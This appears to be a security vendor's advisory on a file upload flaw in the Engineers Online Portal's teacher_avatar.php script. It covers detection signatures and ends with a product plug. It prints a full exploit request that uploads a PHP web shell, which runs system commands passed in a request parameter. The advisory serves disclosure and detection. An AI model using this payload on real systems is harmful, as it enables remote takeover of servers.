Application Details
Engineers' Online Portal is a messaging system which allows engineers to be able to send and receive messages, as well as upload and download files. It also notifies engineers when others are online.
Vulnerability
Engineers Online Portal could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions by the teacher_avatar.php script.
Identification
By sending a specially crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.
POST /teacher_avatar.php HTTP/1.1
------WebKitFormBoundarygBJiBS0af0X03GTp
Content-Disposition: form-data; name="image"; filename="vuln.php"
Content-Type: application/octet-stream
<HTML>
<BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="x">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?php
if($_REQUEST['x']) {
system($_REQUEST['x']);
} else phpinfo();
?>
Detection
By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.
Coverage
Idappcom has created signatures 8022010 and 8022011 along with traffic files.
References
Engineers Online Portal 1.0 - File Upload Remote Code Execution - Exploit Database
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional
Comments